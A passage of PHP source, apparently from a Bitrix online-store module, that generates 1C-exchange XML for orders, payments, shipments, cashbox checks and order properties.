<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=GetMessage("SALE_EXPORT_DATE_CANCEL")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$arOrder["DATE_CANCELED"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=GetMessage("SALE_EXPORT_CANCEL_REASON")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arOrder["REASON_CANCELED"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
if(strlen($arOrder["DATE_STATUS"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DATE_STATUS")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$arOrder["DATE_STATUS"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
if(strlen($arOrder["USER_DESCRIPTION"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_USER_DESCRIPTION")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arOrder["USER_DESCRIPTION"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
self::OutputXmlSiteName($arOrder);
self::OutputXmlRekvProperties($agent, $agentParams);
self::OutputXmlDeliveryAddress();
?>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>>
<?
$bufer = ob_get_clean();
return $bufer;
}
static function getXmlRekvProperties($agent, $agentParams)
{
ob_start();
self::OutputXmlRekvProperties($agent, $agentParams);
$bufer = ob_get_clean();
return $bufer;
}
static function OutputXmlRekvProperties($agent, $agentParams)
{
if(!empty($agent["REKV"]))
{
foreach($agent["REKV"] as $k => $v)
{
if(strlen($agentParams[$k]["NAME"]) > 0 && strlen($v) > 0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=htmlspecialcharsbx($agentParams[$k]["NAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($v)?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
}
}
}
static function getXmlContragents($arOrder = array(), $arProp = array(), $agent = array(), $arOptions = array())
{
ob_start();
self::ExportContragents($arOrder, $arProp, $agent, $arOptions);
$ec_bufer = ob_get_clean();
return $ec_bufer;
}
static function OutputXmlDocumentsByType($typeDocument, $xmlResult, $arOrder, $documents, \Bitrix\Sale\Order $order=null, $agentParams, $arProp, $locationStreetPropertyValue)
{
if(is_array($documents) && count($documents)>0)
{
foreach($documents as $document)
{
$document['LID'] = $arOrder['LID'];
$document['VERSION'] = $arOrder['VERSION'];
switch($typeDocument)
{
case 'Payment':
if($document['DATE_BILL']=='')
$document['DATE_BILL'] = $arOrder['DATE_INSERT_FORMAT'];
if(($paymentCollection = $order->getPaymentCollection()))
{
foreach($paymentCollection as $payment)
{
if($payment->getId() == $document['ID'])
{
$agent = self::prepareSalePropertyRekv($payment, $agentParams, $arProp, $locationStreetPropertyValue);
$xmlResult['RekvProperties'] = self::getXmlRekvProperties($agent, $agentParams);
break;
}
}
}
self::OutputXmlDocument('Payment',$xmlResult, $document);
break;
case 'Shipment':
if(($shipmentCollection = $order->getShipmentCollection()))
{
foreach($shipmentCollection as $shipment)
{
if($shipment->getId() == $document['ID'])
{
$agent = self::prepareSalePropertyRekv($shipment, $agentParams, $arProp, $locationStreetPropertyValue);
$xmlResult['RekvProperties'] = self::getXmlRekvProperties($agent, $agentParams);
break;
}
}
}
$basketItems = self::getXmlBasketItems('Shipment', $document, array(
'ORDER_ID'=>$document['ORDER_ID'],
'SHIPMENT_ITEM.ORDER_DELIVERY_ID'=>$document['ID'],
),
array(
'SHIPMENT_ITEM.QUANTITY'
),
array(
array('PRICE_DELIVERY'=>$document['PRICE_DELIVERY'])
)
);
$xmlResult['BasketItems'] = $basketItems['outputXML'];
$document['BasketResult'] = $basketItems['result'];
self::OutputXmlDocument('Shipment',$xmlResult, $document);
break;
}
}
}
}
static function OutputXmlSiteName($arOrder)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_SITE_NAME")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>[<?=$arOrder["LID"]?>] <?=htmlspecialcharsbx(self::$siteNameByOrder)?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
static function OutputXmlDeliveryAddress()
{
if(strlen(self::getDeliveryAddress()) > 0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=GetMessage("SALE_EXPORT_DELIVERY_ADDRESS")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx(self::getDeliveryAddress())?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
}
static function OutputXmlDocumentRemove($typeDocument, $document)
{ global $DB;
switch($typeDocument)
{
case 'Shipment':
if($document['ID']>0)
{
$result = CSaleOrderChange::GetList(array("ID"=>"DESC"),array('ORDER_ID'=>$document['ID'], 'ENTITY' => 'SHIPMENT', 'TYPE' => 'SHIPMENT_REMOVED'));
while($resultChange = $result->Fetch())
{?>
<<?=CSaleExport::getTagName("SALE_EXPORT_DOCUMENT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>><?=$resultChange["ENTITY_ID"]?></<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_NUMBER")?>><?=$resultChange["ENTITY_ID"]?></<?=CSaleExport::getTagName("SALE_EXPORT_NUMBER")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_DATE")?>><?=$DB->FormatDate($resultChange["DATE_CREATE"], CSite::GetDateFormat("FULL"), "YYYY-MM-DD")?></<?=CSaleExport::getTagName("SALE_EXPORT_DATE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_HOZ_OPERATION")?>><?=CSaleExport::getTagName("SALE_EXPORT_ITEM_SHIPMENT")?></<?=CSaleExport::getTagName("SALE_EXPORT_HOZ_OPERATION")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ROLE")?>><?=CSaleExport::getTagName("SALE_EXPORT_SELLER")?></<?=CSaleExport::getTagName("SALE_EXPORT_ROLE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CURRENCY")?>><?=htmlspecialcharsbx(substr($document["CURRENCY"], 0, 3))?></<?=CSaleExport::getTagName("SALE_EXPORT_CURRENCY")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_NUMBER_BASE")?>><?=$resultChange['ORDER_ID']?></<?=CSaleExport::getTagName("SALE_EXPORT_NUMBER_BASE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_REMOVED")?>>true</<?=CSaleExport::getTagName("SALE_EXPORT_REMOVED")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>></<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CONTRAGENTS")?>></<?=CSaleExport::getTagName("SALE_EXPORT_CONTRAGENTS")?>>
<<?=GetMessage("CC_BSC1_ITEMS")?>></<?=GetMessage("CC_BSC1_ITEMS")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_DOCUMENT")?>>
<?}
}
break;
}
}
static function OutputXmlDocument($typeDocument,$xmlResult, $document=array())
{
global $DB;
?>
<?ob_start();?>
<<?=CSaleExport::getTagName("SALE_EXPORT_DOCUMENT")?>><?
switch($typeDocument)
{
case 'Order':
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>><?=$document["ID"]?></<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_NUMBER")?>><?=self::getAccountNumberShopPrefix();?><?=$document["ACCOUNT_NUMBER"]?></<?=CSaleExport::getTagName("SALE_EXPORT_NUMBER")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_DATE")?>><?=$DB->FormatDate($document["DATE_INSERT_FORMAT"], CSite::GetDateFormat("FULL"), "YYYY-MM-DD")?></<?=CSaleExport::getTagName("SALE_EXPORT_DATE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_HOZ_OPERATION")?>><?=CSaleExport::getTagName("SALE_EXPORT_ITEM_ORDER")?></<?=CSaleExport::getTagName("SALE_EXPORT_HOZ_OPERATION")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ROLE")?>><?=CSaleExport::getTagName("SALE_EXPORT_SELLER")?></<?=CSaleExport::getTagName("SALE_EXPORT_ROLE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CURRENCY")?>><?=htmlspecialcharsbx(((strlen(self::$currency)>0)?substr(self::$currency, 0, 3):substr($document["CURRENCY"], 0, 3)))?></<?=CSaleExport::getTagName("SALE_EXPORT_CURRENCY")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CURRENCY_RATE")?>>1</<?=CSaleExport::getTagName("SALE_EXPORT_CURRENCY_RATE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>><?=$document["PRICE"]?></<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>>
<?
if(self::getVersionSchema() > self::DEFAULT_VERSION)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_VERSION")?>><?=(IntVal($document["VERSION"]) > 0 ? $document["VERSION"] : 0)?></<?=CSaleExport::getTagName("SALE_EXPORT_VERSION")?>><?
if(strlen($document["ID_1C"]) > 0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID_1C")?>><?=htmlspecialcharsbx($document["ID_1C"])?></<?=CSaleExport::getTagName("SALE_EXPORT_ID_1C")?>><?
}
}
if (self::$crmMode)
{
?><DateUpdate><?=$DB->FormatDate($document["DATE_UPDATE"], CSite::GetDateFormat("FULL"), "YYYY-MM-DD HH:MI:SS");?></DateUpdate><?
}
echo $xmlResult['Contragents'];
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_TIME")?>><?=$DB->FormatDate($document["DATE_INSERT_FORMAT"], CSite::GetDateFormat("FULL"), "HH:MI:SS")?></<?=CSaleExport::getTagName("SALE_EXPORT_TIME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_COMMENTS")?>><?=htmlspecialcharsbx(self::toText($document["COMMENTS"]))?></<?=CSaleExport::getTagName("SALE_EXPORT_COMMENTS")?>>
<? echo $xmlResult['OrderTax'];
echo $xmlResult['OrderDiscount'];
echo self::getXmlSaleStore(array_unique($xmlResult['ShipmentsStoreList'], SORT_NUMERIC), $xmlResult['SaleStoreList']);
//$storeBasket = self::getXmlSaleStoreBasket($document,$arStore);
echo $xmlResult['BasketItems'];
echo $xmlResult['SaleProperties'];
break;
case 'Payment':
case 'Shipment':
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>><?=(strlen($document["ID_1C"])>0 ? $document["ID_1C"]:$document["ID"])?></<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_NUMBER")?>><?=$document["ID"]?></<?=CSaleExport::getTagName("SALE_EXPORT_NUMBER")?>>
<? switch($typeDocument)
{
case 'Payment':
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_DATE")?>><?=$DB->FormatDate($document["DATE_BILL"], CSite::GetDateFormat("FULL"), "YYYY-MM-DD")?></<?=CSaleExport::getTagName("SALE_EXPORT_DATE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_HOZ_OPERATION")?>><?=CSaleExport::getTagName("SALE_EXPORT_ITEM_PAYMENT_".\Bitrix\Sale\PaySystem\Manager::getPsType($document['PAY_SYSTEM_ID']))?></<?=CSaleExport::getTagName("SALE_EXPORT_HOZ_OPERATION")?>>
<? break;
case 'Shipment':?>
<<?=CSaleExport::getTagName("SALE_EXPORT_DATE")?>><?=$DB->FormatDate($document["DATE_INSERT"], CSite::GetDateFormat("FULL"), "YYYY-MM-DD")?></<?=CSaleExport::getTagName("SALE_EXPORT_DATE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_HOZ_OPERATION")?>><?=CSaleExport::getTagName("SALE_EXPORT_ITEM_SHIPMENT")?></<?=CSaleExport::getTagName("SALE_EXPORT_HOZ_OPERATION")?>>
<? break;
}?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ROLE")?>><?=CSaleExport::getTagName("SALE_EXPORT_SELLER")?></<?=CSaleExport::getTagName("SALE_EXPORT_ROLE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CURRENCY")?>><?=htmlspecialcharsbx(((strlen(self::$currency)>0)?substr(self::$currency, 0, 3):substr($document["CURRENCY"], 0, 3)))?></<?=CSaleExport::getTagName("SALE_EXPORT_CURRENCY")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CURRENCY_RATE")?>>1</<?=CSaleExport::getTagName("SALE_EXPORT_CURRENCY_RATE")?>>
<? switch($typeDocument)
{
case 'Payment':
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>><?=$document['SUM']?></<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>>
<? break;
case 'Shipment':
$price = 0;
if(count($document['BasketResult'])>0)
{
foreach($document['BasketResult'] as $basketItem)
{
$price = $price + $basketItem['PRICE'] * $basketItem['SALE_INTERNALS_BASKET_SHIPMENT_ITEM_QUANTITY'];
}
}
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>><?=$price+intval($document['PRICE_DELIVERY'])?></<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>>
<? break;
}?>
<<?=CSaleExport::getTagName("SALE_EXPORT_VERSION")?>><?=(IntVal($document["VERSION"]) > 0 ? $document["VERSION"] : 0)?></<?=CSaleExport::getTagName("SALE_EXPORT_VERSION")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_NUMBER_BASE")?>><?=$document['ORDER_ID']?></<?=CSaleExport::getTagName("SALE_EXPORT_NUMBER_BASE")?>>
<?echo $xmlResult['Contragents'];?>
<? switch($typeDocument)
{
case 'Payment':
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_TIME")?>><?=$DB->FormatDate($document["DATE_BILL"], CSite::GetDateFormat("FULL"), "HH:MI:SS")?></<?=CSaleExport::getTagName("SALE_EXPORT_TIME")?>>
<? break;
case 'Shipment':?>
<?=$xmlResult['OrderTax'];?>
<?
if(isset($xmlResult['ShipmentsStoreList'][$document["ID"]]))
{
$storId = $xmlResult['ShipmentsStoreList'][$document["ID"]];
echo self::getXmlSaleStore(array($document["ID"]=>$storId), $xmlResult['SaleStoreList']);
}?>
<<?=CSaleExport::getTagName("SALE_EXPORT_TIME")?>><?=$DB->FormatDate($document["DATE_INSERT"], CSite::GetDateFormat("FULL"), "HH:MI:SS")?></<?=CSaleExport::getTagName("SALE_EXPORT_TIME")?>>
<? break;
}?>
<<?=CSaleExport::getTagName("SALE_EXPORT_COMMENTS")?>><?=htmlspecialcharsbx($document["COMMENTS"])?></<?=CSaleExport::getTagName("SALE_EXPORT_COMMENTS")?>>
<? switch($typeDocument)
{
case 'Payment':
$checkData = false;
$cashBoxOneCId = self::getCashBoxOneCId();
if(isset($cashBoxOneCId) && $cashBoxOneCId>0)
{
$checks = \Bitrix\Sale\Cashbox\CheckManager::getPrintableChecks(array($cashBoxOneCId), array($document['ORDER_ID']));
foreach($checks as $checkId=>$check)
{
if($check['PAYMENT_ID']==$document["ID"])
{
$checkData = $check;
break;
}
}
}
?>
<?
if($checkData)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_CASHBOX_CHECKS")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CASHBOX_CHECK")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>><?=($checkData['ID'])?></<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROP_VALUES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROP_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>PRINT_CHECK</<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>true</<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROP_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROP_VALUES")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_CASHBOX_CHECK")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_CASHBOX_CHECKS")?>>
<?
}
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DATE_PAID")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["DATE_PAID"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_CANCELED")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=($document["CANCELED"]=='Y'? 'true':'false')?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_PAY_SYSTEM_ID")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["PAY_SYSTEM_ID"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_PAY_SYSTEM")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["PAY_SYSTEM_NAME"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_PAY_PAID")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=($document["PAID"]=='Y'? 'true':'false')?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_PAY_RETURN")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=($document["IS_RETURN"]=='Y'? 'true':'false')?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_PAY_RETURN_REASON")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["PAY_RETURN_COMMENT"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?self::OutputXmlSiteName($document);?>
<?if(isset($xmlResult['RekvProperties']) && strlen($xmlResult['RekvProperties'])>0) echo $xmlResult['RekvProperties'];?>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>>
<? break;
case 'Shipment':
?>
<?
echo $xmlResult['BasketItems'];
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_PRICE_DELIVERY")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=(strlen($document["PRICE_DELIVERY"])>0? $document["PRICE_DELIVERY"]:"0.0000")?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DATE_ALLOW_DELIVERY")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["DATE_ALLOW_DELIVERY"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DELIVERY_LOCATION")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["DELIVERY_LOCATION"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DELIVERY_STATUS")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["STATUS_ID"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DELIVERY_DEDUCTED")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=($document["DEDUCTED"]=='Y'? 'true':'false')?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DATE_DEDUCTED")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["DATE_DEDUCTED"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_REASON_UNDO_DEDUCTED")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["REASON_UNDO_DEDUCTED"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_RESERVED")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=($document["RESERVED"]=='Y'? 'true':'false')?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DELIVERY_ID")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["DELIVERY_ID"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DELIVERY")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["DELIVERY_NAME"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_CANCELED")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=($document["CANCELED"]=='Y'? 'true':'false')?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
